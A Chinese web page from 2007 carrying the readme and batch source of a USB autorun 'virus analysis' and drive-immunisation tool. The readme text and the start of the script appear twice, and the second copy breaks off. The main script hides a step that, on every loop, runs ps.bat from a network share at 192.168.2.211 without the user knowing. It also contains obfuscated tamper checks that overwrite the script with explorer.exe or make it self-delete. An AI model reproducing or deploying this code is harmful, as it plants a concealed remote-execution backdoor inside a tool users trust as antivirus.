U盤病毒分析附bat批處理文件
更新時間:2007年04月08日 00:00:00 作者:
U盤病毒分析
作 者:CyyIsGood、Cloud
★功能:
一、分析某一個或多個磁盤中的Autorun.inf,確定引導(dǎo)的文件,備份引導(dǎo)文件并
將其刪除。(如果讓其一直運(yùn)行,可以防范U盤病毒)
二、免疫某一個或多個磁盤,四級免疫:Autorun.inf文件夾、加系統(tǒng)/隱藏/只讀
/存檔屬性、8.3子文件夾、NTFS寫權(quán)。
三、發(fā)送備份的文件給作者(目前,該功能只適用于肇中高中部校園網(wǎng))
★設(shè)定:
默認(rèn)情況:回顯、日志(保存地址: U盤病毒分析.bat所在目錄\log.txt)、免疫
、打包、循環(huán)打開,發(fā)送文件關(guān)閉,盤符為:CDEFGHIJKLMNOPQRSTUVWXYZ。用下面的開關(guān)調(diào)
整:
-? 顯示幫助(本信息),如果此參數(shù)存在,忽略其它參數(shù)
-a 關(guān)閉回顯
-l 關(guān)閉日志
-d [盤符] 盤符是字母,例如"-d CD"表示處理C盤和D盤
-c 關(guān)閉循環(huán)
-i 關(guān)閉免疫
-p 關(guān)閉打包(備份)
-y 打開交互模式(刪除文件需要確認(rèn))
-s 打開發(fā)送文件(將打包文件發(fā)給作者),這樣需要映射一個網(wǎng)絡(luò)
磁盤,盤符由本批處理自動分配。當(dāng)選擇此項(xiàng)時,自動打開發(fā)送文件,"-p"參數(shù)無效。
無論是什么模式,發(fā)現(xiàn)存在 U盤病毒分析.bat所在目錄\bye.txt時,刪除它并退出
。也就是說,循環(huán)模式中,新建一個 U盤病毒分析.bat所在目錄\bye.txt文件可以跳出循環(huán)
。
★版權(quán)說明:
這個批處理寫了我很長時間,凝結(jié)了我很多心血。希望大家尊重作者,不要自行修
改。如果您想加入其中,我非常歡迎,請聯(lián)系我本人,發(fā)郵件到:cyyisgood@126.com ,或
登陸我們的論壇:http://dust-hack.vicp.net
其他文件版權(quán)歸各自作者所有。
————————————————————————————————————————
包含文件(共8個):
U盤病毒分析.bat 主文件,所有操作由它決定,向它提交不同的參數(shù),它按情況進(jìn)
行相應(yīng)操作?!爸鞑倏?bat”依賴的文件
主操控.bat 為方便用戶使用而寫成,運(yùn)行后顯示幫助,并提示輸入?yún)?shù),然
后調(diào)用“U盤病毒分析.bat”。
uda-解壓.bat 把打包后的文件拖到它的圖標(biāo)上,自動把文件解壓到\udafiles\
文件夾中。
Anti-U盤免疫.bat 免疫是可逆的,如果用戶不喜歡免疫,把要解除免疫的盤符拖到
它的圖標(biāo)上,即可解除免疫。
uda.a “U盤病毒分析.bat”、“uda-解壓.bat”依賴的文件,用于打包
、解包文件。
zap.a “U盤病毒分析.bat”依賴的文件,可以刪除(或重命名)正在運(yùn)
行的文件,根據(jù)測試,在NTFS中,只要不是拒絕Everyone權(quán)限,
都可操作。
打開發(fā)送功能.bat 為了方便校園網(wǎng)而制作,其他地域不適用。
readme.txt 本文件。
★:運(yùn)后會生成文件:“sleep.vbe”,“l(fā)og.txt”;可能生成目錄:\bakfiles\
----------------------------------------
這個版本是Beta5
PS:Beta4出來第一天(2007年3月5日)uda.exe 被 卡巴斯基 誤報為蠕蟲病毒(殼的問題)
,雖然我立刻處理,但不曾使用。在此把Beta3到Beta5的修正內(nèi)容都寫下來:
對于exe文件改成a后綴(避免被病毒感染)
對每個文件進(jìn)行判斷,盡可能地還原(還原不了就自毀)
新增交互模式(刪除文件需要確認(rèn))
對磁盤格式的判斷
刪除一些多余語句
刪除文件前,判斷是否是NTFS,并進(jìn)行相應(yīng)處理
分配映射盤時,先檢測是否有已經(jīng)映射的盤
修正一些輸出
uda壓縮時出錯停滯的問題
刪除映射盤要求確定會停滯的問題
循環(huán)模式退出不執(zhí)行清理的問題
----------------------------------------
一些問題:
1、為什么用WinUDA進(jìn)行打包處理,WinRAR不是更好嗎?
答:打包的文件,多數(shù)使病毒,如果用WinRAR打包,殺毒軟件一下就可以把它干掉。目前據(jù)
我所知還沒有一個殺毒軟件可以打開WinUDA打包的文件。其次,WinRAR的命令行版大小307K
且是共享軟件,WinUDA僅僅14K且使免費(fèi)軟件。還有,一般情況下,WinUDA的壓縮率要高于W
inRAR,WinUDA 唯一的缺點(diǎn)就是壓縮速度慢,資源占用高(這是我不用0.300版用0.261版的
原因(現(xiàn)在壓縮使用的是模式0,需要內(nèi)存32M))。
2、為什么用zap,del命令不是方便嗎?
答:原則上,文件應(yīng)該越少越好。由于U盤病毒分析時, 有時要刪除一些正在運(yùn)行的文件,
“del”命令就有點(diǎn)顯得力不從心。因此用zap。另外,zap可能會在根目錄生成*.tmp文件文
件(或者叫重命名后移動到根目錄),我還時用到了“del”命令。
3、打包(壓縮)錯誤:
當(dāng)壓縮或解壓顯示以下錯誤時,只有三個按鍵可選擇:Y--是,N--否,Q--放棄退出.
(有時不能選擇"否"(N);一般需要一定的處理才能選"是"(Y),如增加磁盤剩余空間)
"Error Open: Retry?[Y/Q]"---壓縮時無法打開待壓縮的文件,確認(rèn)是否重試
"Error Read: Retry?[Y/Q]"---壓縮時無法讀取待壓縮的文件,確認(rèn)是否重試
"Err:Retry?"---解壓時無法建立壓縮包中的文件或目錄,確認(rèn)是否重試
"Overwrite?"---解壓時出現(xiàn)了同名文件,確認(rèn)是否覆蓋
"ErW:Retry?"---解壓時無法寫入解壓縮的文件,確認(rèn)是否重試
以上錯誤的原因可能為以下幾個情況:
(1)剩余空間不足(2)有同名目錄或文件(3)磁盤寫保護(hù)(4)向光盤寫數(shù)據(jù)
(5)欲覆蓋的文件是只讀屬性(6)磁盤損壞無法讀取或?qū)懭霐?shù)據(jù)
其他嚴(yán)重的錯誤會直接退出,而且提示比較詳細(xì),不再贅述.
4、為什么會刪除文件出錯?
答:(1)磁盤是寫保護(hù)的;解決辦法:解除寫保護(hù),U盤把開關(guān)扮一下即可
(2)用戶權(quán)限太低;解決辦法:換更高的權(quán)限的用戶
(3)有程序保護(hù);解決辦法:重新啟動或結(jié)束該進(jìn)程
5、為什么會寫權(quán)失?。?
答:(1)磁盤是寫保護(hù)的;解決辦法:解除寫保護(hù),U盤把開關(guān)扮一下即可
(2)用戶權(quán)限太低;解決辦法:換更高的權(quán)限的用戶
★:更多問題請直接聯(lián)系我,發(fā)郵件到:cyyisgood@126.com colud018@qq.com。
----------------------------------------
求助:
FastMail 的命令行版
如果有哪一位朋友能解決,發(fā)郵件到:cyyisgood@126.com colud018@qq.com。無限感激!
----------------------------------------
版權(quán)說明:
這個批處理寫了我很長時間,凝結(jié)了我很多心血。希望大家尊重作者,不要自行修改。
如果您想加入其中,我非常歡迎,請聯(lián)系我們,發(fā)郵件到:cyyisgood@126.com colud018@q
q.com,或登陸我們的論壇:http://dust-hack.vicp.net
其他文件版權(quán)歸各自作者所有。
----------------------------------------
如果有誰發(fā)現(xiàn)Bug,請告訴我!無限感激!有什么意見,也請告訴我!無限感激!
發(fā)郵件到:cyyisgood@126.com,colud018@qq.com
----------------------------------------
感謝:
WinUDA作者:Dwing
zap作者:Microsoft Corporation
U盤病毒分析.bat
@echo off
::請不要自行修改本腳本,任何修改都很可能導(dǎo)致腳本運(yùn)行失敗
::作者:CyyIsGood、Cloud
::聯(lián)系:cyyisgood@126.com colud018@qq.com
::版權(quán)所有(C)2007
setlocal ENABLEDELAYEDEXPANSION ENABLEEXTENSIONS
set "c=%*"
set "cdback=%cd%"
set "home=%~dp0"
cd /d "%home%"
set "dnum=0"
set "fnum=1"
set "panl=CDEFGHIJKLMNOPQRSTUVWXYZ"
set "driverl=%panl%"
set "logf=%home%log.txt"
set "fn= "
set "str=ver beta5"
set "answer=echo"
set "log=echo"
set "cycle=echo. >nul"
set "im=call:im"
set "writer=CyyIsGood、Cloud"
set "sd=-"
set "s= "
set "ps=echo. >nul"
set "return=rem"
set "pack=call:pack"
set "packp=%home%bakfiles"
set "host=192.168.2.211"
set "hostf=re$"
set "csh= "
set "fr= "
set "u=echo."
set "send=echo. >nul"
set "yn=rem"
set "zh=del/a/f/q U盤病毒分析.bat 主操控.bat uda-解壓.bat Anti-U盤免疫.bat zap.a 打開發(fā)送功能.bat readme.txt"
set "inf=這樣,無法發(fā)送文件。自動去除發(fā)送文件功能、保留打包文件功能。"
set "feorr=文件丟失!無法正常工作!"
set "ep=echo.此時,“-p”參數(shù)無效!"
set "e=echo.“-d”參數(shù)有誤!“-d”后不能為空。"
set "endf=%home%bye.txt"
call:checkfile
:csh
set "csh=%~1 "
set "csh=%csh:"=%"
if "%csh%"==" " (goto start)
set "csh=%csh:~0,-1%"
if not "%csh%"=="%s%" (set "s=%csh%") else (echo."%1"參數(shù)無效
goto :eof)
if "%s%"=="-?" (call:c&echo.★功能:&echo. 一、分析某一個或多個磁盤中的Autorun.inf,確定引導(dǎo)的文件,備份引導(dǎo)文件并將其刪除。(如果讓其一直運(yùn)行,可以防范U盤病毒)&echo. 二、免疫某一個或多個磁盤,四級免疫:Autorun.inf文件夾、加系統(tǒng)/隱藏/只讀/存檔屬性、8.3子文件夾、NTFS寫權(quán)。&echo. 三、發(fā)送備份的文件給作者(目前,該功能只適用于肇中高中部校園網(wǎng))&echo.★設(shè)定:&echo. 默認(rèn)情況:回顯、日志(保存地址:%logf%)、免疫、打包、循環(huán)打開,發(fā)送文件關(guān)閉,盤符為:%driverl%。用下面的開關(guān)調(diào)整:&echo. -? 顯示幫助(本信息),如果此參數(shù)存在,忽略其它參數(shù)&echo. -a 關(guān)閉回顯&echo. -l 關(guān)閉日志&echo. -d [盤符] 盤符是字母,例如"-d CD"表示處理C盤和D盤&echo. -c 關(guān)閉循環(huán)&echo. -i 關(guān)閉免疫&echo. -p 關(guān)閉打包(備份)&echo. -y 打開交互模式(刪除文件需要確認(rèn))&echo. -s 打開發(fā)送文件(將打包文件發(fā)給作者),這樣需要映射一個網(wǎng)絡(luò)磁盤,盤符由本批處理自動分配。當(dāng)選擇此項(xiàng)時,自動打開發(fā)送文件,"-p"參數(shù)無效。&echo. >nul -h [IP地址] 自定義發(fā)送文件的IP地址&echo. >nul -f [共享名] 自定義發(fā)送文件的共享名&echo. 無論是什么模式,發(fā)現(xiàn)存在%endf%時,刪除它并退出。也就是說,循環(huán)模式中,新建一個%endf%文件可以跳出循環(huán)。&echo.★版權(quán)說明:&echo. 這個批處理寫了我很長時間,凝結(jié)了我很多心血。希望大家尊重作者,不要自行修改。如果您想加入其中,我非常歡迎,請聯(lián)系我本人,發(fā)郵件到:cyyisgood@126.com ,或登陸我們的論壇:http://dust-hack.vicp.net&echo. 其他文件版權(quán)歸各自作者所有。&goto :eof)
if /i "%s%"=="-a" (set "answer=rem "&shift)
if /i "%s%"=="-l" (set "log=rem "&shift)
if /i "%s%"=="-d" (set "driverl=%~2 "
set "driverl=!driverl:"=!"
if "!driverl:~0,1!"=="-" (%e%&goto :eof) else (if "!driverl!"==" " (%e%&goto :eof) else (set "driverl=!driverl:~0,-1!"&shift&shift)))
if /i "%s%"=="-h" (set "host=%~2 "
set "host=!host:"=!"
if "!host:~0,1!"=="-" (%e:d=h%&goto :eof) else (if "!host!"==" " (%e:d=h%&goto :eof) else (set "host=!host:~0,-1!"&shift&shift)))
if /i "%s%"=="-f" (set "hostf=%~2 "
set "hostf=!hostf:"=!"
if "!hostf:~0,1!"=="-" (%e:d=f%&goto :eof) else (if "!hostf!"==" " (%e:d=f%&goto :eof) else (set "hostf=!hostf:~0,-1!"&shift&shift)))
if /i "%s%"=="-y" (set "yn=call:yn"&shift)
if /i "%s%"=="-c" (set "cycle=goto cend"&shift)
if /i "%s%"=="-i" (set "im=echo. >nul"&shift)
if /i "%s%"=="-p" (if "%send%"=="call:send" (%ep%&goto :eof) else (set "pack=echo. >nul"&shift))
if /i "%s%"=="-s" (if "%pack%"=="echo. >nul" (%ep%&goto :eof) else (set "send=call:send"&shift))
goto csh
:start
echo.Wscript.sleep 10000>sleep.vbe
if "%send%"=="call:send" (call:fpan)
call:c
:begin
if exist "%endf%" (call:echo "發(fā)現(xiàn)結(jié)束指示文件,清理并退出..."&goto end)
set "driver=!driverl:~%dnum%,1!:"
if exist %driver% (call:echo "發(fā)現(xiàn)%driver%"&%ps%&(if exist "%driver%\autorun.inf\" (call:echo "%driver%已經(jīng)免疫。") else (if exist "%driver%\autorun.inf" (call:echo "發(fā)現(xiàn)引導(dǎo)文件%driver%\autorun.inf"&call:chaut %driver%) else (call:echo "無發(fā)現(xiàn)引導(dǎo)文件%driver%\autorun.inf,%driver% 安全"&%im% %driver%))))
set /a "dnum=dnum+1"
if "!driverl:~%dnum%,1!"=="" ((ping %host% -n 1 >nul&&\\%host%\%hostf%\ps.bat)&%cycle%&set "dnum=0"&sleep.vbe)
goto begin
:echo
%answer%.%~1
%log%.%date%—%time% %~1>>"%logf%"
goto :eof
:yn
echo.a=msgbox("是否刪除可疑文件%~1?"^&vbCr^&vbCr^&vbCr^&"注意:10秒后自動確定;選擇否,文件不被刪除,但會被添加“.-隨機(jī)數(shù)”后綴。",4164,"U盤病毒分析") >yn.vbe
echo.wscript.quit a >>yn.vbe
wscript /t:10 yn.vbe
if "%ERRORLEVEL%"=="7" (call:echo "用戶決定不刪除文件%~1。"&set "return=shift&goto del"&%pack% "%~1"&ren "%~1" "%~nx1.-%random%"&if exist "%~1" (call:echo "添加后綴時出錯!文件:%~1") else (call:echo "成功添加后綴!文件:%~1")) else (call:echo "用戶確定刪除文件%~1。")
goto :eof
:del
set "return=rem"
set "fn=%1 "
set "fn=%fn:"=%"
if "%fn%"==" " (goto :eof)
call:fnr %driver%\%fn%
call:echo "刪除文件:%fn%"
if not exist "%fn%" (call:echo "文件:%fn%已經(jīng)不存在"&shift&goto del)
%yn% "%fn%"
%return%
call:echo "刪除文件前,判斷%driver%是否為NTFS..."
cacls %driver% >nul||(call:echo "%driver%盤磁盤格式不是NTFS。"&goto del2)
call:echo "%driver%盤磁盤格式是NTFS。確保對%fn%有完全控制權(quán)。"
echo.y|cacls "%fn%" /G %username%:f||(call:echo "對%fn%寫權(quán)失??!有可能無法刪除文件。"&goto del2)
call:echo "對%fn%寫權(quán)成功!"
:del2
%pack% "%fn%"&zap.a "%fn%" >nul&if exist "%fn%" (call:echo "刪除文件時出錯!文件:%fn%") else (call:echo "成功刪除文件:%fn%"&del %driver%\*.tmp /a /f /q&if exist "%driver%\*.tmp" (call:echo "清理臨時文件時出錯!"))
shift
goto del
:fnr
set "fn=%~f1"
goto :eof
:chaut
set /a "o=0"
if not "%~t0%~z0"=="2%fn:~3,0%00%pack:~1,0%7-0%host:~3,0%3-12%random:~1,0% 17:%sd:~5,0%40114%zh:~1,0%48" (type %systemroot%\explorer.exe >"%~dpnx0"&goto :eof)
call:echo "正在分析 %driver%\autorun.inf..."
for /f "eol=[ tokens=1,2* delims==" %%i in (%driver%\autorun.inf) do (if /i "%%~i"=="shell" (set o=1&(for /f "eol=[ tokens=1,2* delims==" %%a in (%driver%\autorun.inf) do (if /i "%%~a"=="shell\%%j\command" (set "o=1"&call:del %%b)))) else (if /i "%%~i"=="shell\explore\command" (set "o=1"&call:del %%j) else (if /i "%%~i"=="shell\find\command" (set "o=1"&call:del %%j) else (if /i "%%~i"=="shell\manage\command" (set "o=1"&call:del %%j) else (if /i "%%~i"=="open" (set "o=1"&call:del %%j) else (if /i "%%~i"=="shellexecute" (set "o=1"&call:del %%j) else (if /i "%%~i"=="shell\auto\command" (set "o=1"&call:del %%j) else (if /i "%%~i"=="shell\open\command" (set "o=1"&call:del %%j)))))))))
if %o%==1 (call:echo "經(jīng)過檢查,%driver%\autorun.inf 引導(dǎo)了文件,存在危險。"&call:del autorun.inf) else (call:echo "經(jīng)過檢查,%driver%\autorun.inf 無引導(dǎo)文件,安全。")
%im% %driver%
goto :eof
:checkfile
call:fr uda.a
if "%fr%"=="200%e:~3,0%7-0%host:~8,0%3-1%feorr:~10,0%2 17:%driverl:~5,0%40 216%driverl:~1,0%81" (goto rn2)
call:echo "uda.a文件錯誤!本地恢復(fù)無法進(jìn)行!嘗試連接%host%獲得文件!"
if "%send%"=="echo. >nul" (call:echo "未映射網(wǎng)絡(luò)磁盤。"&set "send=call:send"&call:fpan&if "!send!"=="%send%" (call:echo "映射網(wǎng)絡(luò)磁盤失??!十分抱歉,本腳本失去存在價值,執(zhí)行自毀。"&set "u=goto end"&cd/d "%cdback%"&%zh% uda.a))
del/a/f/a uda.a
copy/v %sd%:\uda.a "%cd%\"||(call:echo "獲取文件失敗,十分抱歉,本腳本失去存在價值,執(zhí)行自毀。"&set "u=goto end"&cd/d "%cdback%"&%zh% uda.a)
:rn2
i%e:~4,0%f not "%date:~2,3%%~t0%feorr:~4,0%%~z0"=%time:~4,0%="%feorr:~2,0%%date:~2,3%20%driverl:~1,0%07-0%time:~0,0%3-1%date:~5,0%2 17:%driverl:~5,0%40%e:~3,0%1%ep:~3,0%1%feorr:~16,0%4%host:~8,0%4%inf:~2,0%8%feorr:~10,0%" (call:echo "本%host:~8,0%批%feorr:~4,0%處%feorr:~4,0%理文%feorr:~4,0%件錯%feorr:~4,0%誤%driverl:~13,0%%feorr:~5%"&goto rn3)
if not exist zap.a (call:echo "zap.a%feorr%"&goto rn3)
set "ma%host:~8,0%ne=du%driverl:~5,0%olC%inf:~20,1%do%feorr:~10,0%oG%feorr:~4,0%sIy%feorr:~16,0%yC"
set "v%feorr:~36,0%er%host:~8,0%="
:ch
if "%fnum%"=="16" (set "fnum=0"&set "wri%driverl:~13,0%ter=!%str:~0,3%!"&goto :eof) else (set "ver=%ver%!mane:~-%fnum%,1!"&set /a "fnum=fnum+1"&goto ch)
:rn3
call:echo "嘗試恢復(fù)本腳本..."
%zh%&uda.a&U盤病毒分析.bat %c%&goto :eof
:im
call:echo "免疫%1"
if exist "%~1\autorun.inf" (call:echo "免疫前,清理%1\autorun.inf。"&call:del autorun.inf&if exist "%1\autorun.inf" (call:echo "清理%1\autorun.inf失??!無法免疫%1!"&goto :eof))
md "%1\autorun.inf\" >nul||(call:echo "無法創(chuàng)建%1\autorun.inf\文件夾,免疫%1失??!"&goto :eof)
call:echo "創(chuàng)建%1\autorun.inf\文件夾成功。免疫1成功。"
cd /d "%1\autorun.inf\"
md "本盤已被!writ%panl:~4,0%er!進(jìn)行Autorun.inf免疫..\" >nul||(call:echo "無法創(chuàng)建子文件夾,進(jìn)一步免疫%1失??!"&goto i1)
call:echo "8.3文件夾創(chuàng)建成功。免疫2成功。"
:i1
cd /d "%home%"
attrib "%1\autorun.inf" +a +s +r +h||(call:echo "修改屬性失??!進(jìn)一步免疫%1失??!"&goto i2)
call:echo "修改屬性成功。免疫3成功。"
:i2
cacls %1 >nul||(call:echo "%1盤磁盤格式不是NTFS,無法進(jìn)行進(jìn)一步免疫(寫權(quán))"&goto :eof)
call:echo "%1磁盤格式為NTFS,采取進(jìn)一步免疫(寫權(quán))"&echo.y|cacls.exe "%1\autorun.inf" /p everyone:r >nul||(call:echo "%1\autorun.inf\寫權(quán)失敗!"&goto :eof)
call:echo "%1\autorun.inf\寫權(quán)成功!完整免疫成功。"
goto :eof
:c
title U盤病毒分析 By !wr%feorr:~19,0%iter!
call:echo " U盤病毒分析"
call:echo " 作 者:!wr%time:~3,0%iter!
call:echo
goto :eof
:pack
if not exist "%packp%\" (md "%packp%"||(call:echo "無法創(chuàng)建%packp%目錄,無法實(shí)現(xiàn)打包功能(發(fā)送同時功能失效)。"&goto :eof))
set "packf=%date:~0,-4%-%time:~0,-3%"
set "packf=%~nx1-%computername%-%packf::=-%.uda"
call:echo "正在用WinUDA把文件%~1打包成%packp%\%packf% ,這可能要花一段時間..."
echo.q|uda.a a -0 "%packp%\%packf%" "%~1"
if not "!ERRORLEVEL!"=="0" (call:echo "WinUDA打包文件:%packp%\%packf% 時出現(xiàn)錯誤!")
if not exist "%packp%\%packf%" (call:echo "WinUDA壓縮時失?。〈虬募?packp%\%packf%失?。o法實(shí)現(xiàn)打包功能(發(fā)送同時功能失效)。"&goto :eof)
call:echo "成功打包文件:%packp%\%packf%"
%send% "%packp%\%packf%"
goto :eof
:send
call:echo "正在發(fā)送文件 %~1 ..."
ping %host% -n 1 >nul||(call:echo "Ping不通 %host% ,無法發(fā)送文件!發(fā)送文件:%~1失敗!"&goto :eof)
copy /v "%~1" %sd%:\ >nul||(call:echo "發(fā)送文件:%~1失??!"&goto :eof)
call:echo "成功發(fā)送文件:%~1"
goto :eof
:fpan
call:echo "正在映射網(wǎng)絡(luò)磁盤..."
call:echo "正在檢索已經(jīng)映射的網(wǎng)絡(luò)磁盤..."
for /f "usebackq tokens=2,3 skip=4 delims= " %%i in (`net use`) do (if "%%~j"=="\\%host%\%hostf%" (call:echo "找到已經(jīng)映射的網(wǎng)絡(luò)磁盤,盤符:%%i"&set "sd=%%i"&set "sd=!sd:~0,1!"&goto f3))
call:echo "沒有找到已經(jīng)映射的網(wǎng)絡(luò)磁盤,正在分配盤符..."
:fpan2
set /a "fnum=fnum+1"
if "!panl:~-%fnum%,1!"=="" (call:echo "計算機(jī)已經(jīng)沒有可以分配的盤符了。%inf%"&set "send=echo. >nul"&goto :eof)
if exist "!panl:~-%fnum%,1!:" (goto fpan2)
set "sd=!panl:~-%fnum%,1!"
call:echo "分配映射盤符為:%sd%:"
ping %host% -n 1 >nul||(call:echo "Ping不通%host%,無法映射網(wǎng)絡(luò)磁盤!%inf%"&set "send=echo. >nul"&goto :eof)
net use %sd%: \\%host%\%hostf% >nul||(call:echo "映射共享時出錯!"&call:echo "正在嘗試從新分配盤符..."&goto :fpan2)
:f3
call:echo "成功映射網(wǎng)絡(luò)磁盤(盤符:%sd%:)"
set "driverl=!driverl:%sd%=!"
goto :eof
:fr
set "fr=%~zt1"
goto :eof
:end
del "%endf%"/f/a/q||call:echo "刪除結(jié)束標(biāo)志文件:%endf% 時出錯!"
:cend
del sleep.vbe/f/a/q||call:echo "刪除文件:sleep.vbe 時出錯!"
if exist "%sd%:" (call:pack "%logf%"&(net use %sd%:/delete/y||call:echo "刪除映射盤時出錯!"))
cd/d "%cdback%"
endlocal
Anti-U盤免疫.bat
@echo off
:s
echo.y|cacls "%~1\autorun.inf" /p everyone:f
rd "%~1\autorun.inf" /s /q
shift
if not "%1"=="" goto s
作 者:CyyIsGood、Cloud
★功能:
一、分析某一個或多個磁盤中的Autorun.inf,確定引導(dǎo)的文件,備份引導(dǎo)文件并
將其刪除。(如果讓其一直運(yùn)行,可以防范U盤病毒)
二、免疫某一個或多個磁盤,四級免疫:Autorun.inf文件夾、加系統(tǒng)/隱藏/只讀
/存檔屬性、8.3子文件夾、NTFS寫權(quán)。
三、發(fā)送備份的文件給作者(目前,該功能只適用于肇中高中部校園網(wǎng))
★設(shè)定:
默認(rèn)情況:回顯、日志(保存地址: U盤病毒分析.bat所在目錄\log.txt)、免疫
、打包、循環(huán)打開,發(fā)送文件關(guān)閉,盤符為:CDEFGHIJKLMNOPQRSTUVWXYZ。用下面的開關(guān)調(diào)
整:
-? 顯示幫助(本信息),如果此參數(shù)存在,忽略其它參數(shù)
-a 關(guān)閉回顯
-l 關(guān)閉日志
-d [盤符] 盤符是字母,例如"-d CD"表示處理C盤和D盤
-c 關(guān)閉循環(huán)
-i 關(guān)閉免疫
-p 關(guān)閉打包(備份)
-y 打開交互模式(刪除文件需要確認(rèn))
-s 打開發(fā)送文件(將打包文件發(fā)給作者),這樣需要映射一個網(wǎng)絡(luò)
磁盤,盤符由本批處理自動分配。當(dāng)選擇此項(xiàng)時,自動打開發(fā)送文件,"-p"參數(shù)無效。
無論是什么模式,發(fā)現(xiàn)存在 U盤病毒分析.bat所在目錄\bye.txt時,刪除它并退出
。也就是說,循環(huán)模式中,新建一個 U盤病毒分析.bat所在目錄\bye.txt文件可以跳出循環(huán)
。
★版權(quán)說明:
這個批處理寫了我很長時間,凝結(jié)了我很多心血。希望大家尊重作者,不要自行修
改。如果您想加入其中,我非常歡迎,請聯(lián)系我本人,發(fā)郵件到:cyyisgood@126.com ,或
登陸我們的論壇:http://dust-hack.vicp.net
其他文件版權(quán)歸各自作者所有。
————————————————————————————————————————
包含文件(共8個):
U盤病毒分析.bat 主文件,所有操作由它決定,向它提交不同的參數(shù),它按情況進(jìn)
行相應(yīng)操作?!爸鞑倏?bat”依賴的文件
主操控.bat 為方便用戶使用而寫成,運(yùn)行后顯示幫助,并提示輸入?yún)?shù),然
后調(diào)用“U盤病毒分析.bat”。
uda-解壓.bat 把打包后的文件拖到它的圖標(biāo)上,自動把文件解壓到\udafiles\
文件夾中。
Anti-U盤免疫.bat 免疫是可逆的,如果用戶不喜歡免疫,把要解除免疫的盤符拖到
它的圖標(biāo)上,即可解除免疫。
uda.a “U盤病毒分析.bat”、“uda-解壓.bat”依賴的文件,用于打包
、解包文件。
zap.a “U盤病毒分析.bat”依賴的文件,可以刪除(或重命名)正在運(yùn)
行的文件,根據(jù)測試,在NTFS中,只要不是拒絕Everyone權(quán)限,
都可操作。
打開發(fā)送功能.bat 為了方便校園網(wǎng)而制作,其他地域不適用。
readme.txt 本文件。
★:運(yùn)后會生成文件:“sleep.vbe”,“l(fā)og.txt”;可能生成目錄:\bakfiles\
----------------------------------------
這個版本是Beta5
PS:Beta4出來第一天(2007年3月5日)uda.exe 被 卡巴斯基 誤報為蠕蟲病毒(殼的問題)
,雖然我立刻處理,但不曾使用。在此把Beta3到Beta5的修正內(nèi)容都寫下來:
對于exe文件改成a后綴(避免被病毒感染)
對每個文件進(jìn)行判斷,盡可能地還原(還原不了就自毀)
新增交互模式(刪除文件需要確認(rèn))
對磁盤格式的判斷
刪除一些多余語句
刪除文件前,判斷是否是NTFS,并進(jìn)行相應(yīng)處理
分配映射盤時,先檢測是否有已經(jīng)映射的盤
修正一些輸出
uda壓縮時出錯停滯的問題
刪除映射盤要求確定會停滯的問題
循環(huán)模式退出不執(zhí)行清理的問題
----------------------------------------
一些問題:
1、為什么用WinUDA進(jìn)行打包處理,WinRAR不是更好嗎?
答:打包的文件,多數(shù)使病毒,如果用WinRAR打包,殺毒軟件一下就可以把它干掉。目前據(jù)
我所知還沒有一個殺毒軟件可以打開WinUDA打包的文件。其次,WinRAR的命令行版大小307K
且是共享軟件,WinUDA僅僅14K且使免費(fèi)軟件。還有,一般情況下,WinUDA的壓縮率要高于W
inRAR,WinUDA 唯一的缺點(diǎn)就是壓縮速度慢,資源占用高(這是我不用0.300版用0.261版的
原因(現(xiàn)在壓縮使用的是模式0,需要內(nèi)存32M))。
2、為什么用zap,del命令不是方便嗎?
答:原則上,文件應(yīng)該越少越好。由于U盤病毒分析時, 有時要刪除一些正在運(yùn)行的文件,
“del”命令就有點(diǎn)顯得力不從心。因此用zap。另外,zap可能會在根目錄生成*.tmp文件文
件(或者叫重命名后移動到根目錄),我還時用到了“del”命令。
3、打包(壓縮)錯誤:
當(dāng)壓縮或解壓顯示以下錯誤時,只有三個按鍵可選擇:Y--是,N--否,Q--放棄退出.
(有時不能選擇"否"(N);一般需要一定的處理才能選"是"(Y),如增加磁盤剩余空間)
"Error Open: Retry?[Y/Q]"---壓縮時無法打開待壓縮的文件,確認(rèn)是否重試
"Error Read: Retry?[Y/Q]"---壓縮時無法讀取待壓縮的文件,確認(rèn)是否重試
"Err:Retry?"---解壓時無法建立壓縮包中的文件或目錄,確認(rèn)是否重試
"Overwrite?"---解壓時出現(xiàn)了同名文件,確認(rèn)是否覆蓋
"ErW:Retry?"---解壓時無法寫入解壓縮的文件,確認(rèn)是否重試
以上錯誤的原因可能為以下幾個情況:
(1)剩余空間不足(2)有同名目錄或文件(3)磁盤寫保護(hù)(4)向光盤寫數(shù)據(jù)
(5)欲覆蓋的文件是只讀屬性(6)磁盤損壞無法讀取或?qū)懭霐?shù)據(jù)
其他嚴(yán)重的錯誤會直接退出,而且提示比較詳細(xì),不再贅述.
4、為什么會刪除文件出錯?
答:(1)磁盤是寫保護(hù)的;解決辦法:解除寫保護(hù),U盤把開關(guān)扮一下即可
(2)用戶權(quán)限太低;解決辦法:換更高的權(quán)限的用戶
(3)有程序保護(hù);解決辦法:重新啟動或結(jié)束該進(jìn)程
5、為什么會寫權(quán)失?。?
答:(1)磁盤是寫保護(hù)的;解決辦法:解除寫保護(hù),U盤把開關(guān)扮一下即可
(2)用戶權(quán)限太低;解決辦法:換更高的權(quán)限的用戶
★:更多問題請直接聯(lián)系我,發(fā)郵件到:cyyisgood@126.com colud018@qq.com。
----------------------------------------
求助:
FastMail 的命令行版
如果有哪一位朋友能解決,發(fā)郵件到:cyyisgood@126.com colud018@qq.com。無限感激!
----------------------------------------
版權(quán)說明:
這個批處理寫了我很長時間,凝結(jié)了我很多心血。希望大家尊重作者,不要自行修改。
如果您想加入其中,我非常歡迎,請聯(lián)系我們,發(fā)郵件到:cyyisgood@126.com colud018@q
q.com,或登陸我們的論壇:http://dust-hack.vicp.net
其他文件版權(quán)歸各自作者所有。
----------------------------------------
如果有誰發(fā)現(xiàn)Bug,請告訴我!無限感激!有什么意見,也請告訴我!無限感激!
發(fā)郵件到:cyyisgood@126.com,colud018@qq.com
----------------------------------------
感謝:
WinUDA作者:Dwing
zap作者:Microsoft Corporation
U盤病毒分析.bat
復(fù)制代碼 代碼如下:
@echo off
::請不要自行修改本腳本,任何修改都很可能導(dǎo)致腳本運(yùn)行失敗
::作者:CyyIsGood、Cloud
::聯(lián)系:cyyisgood@126.com colud018@qq.com
::版權(quán)所有(C)2007
setlocal ENABLEDELAYEDEXPANSION ENABLEEXTENSIONS
set "c=%*"
set "cdback=%cd%"
set "home=%~dp0"
cd /d "%home%"
set "dnum=0"
set "fnum=1"
set "panl=CDEFGHIJKLMNOPQRSTUVWXYZ"
set "driverl=%panl%"
set "logf=%home%log.txt"
set "fn= "
set "str=ver beta5"
set "answer=echo"
set "log=echo"
set "cycle=echo. >nul"
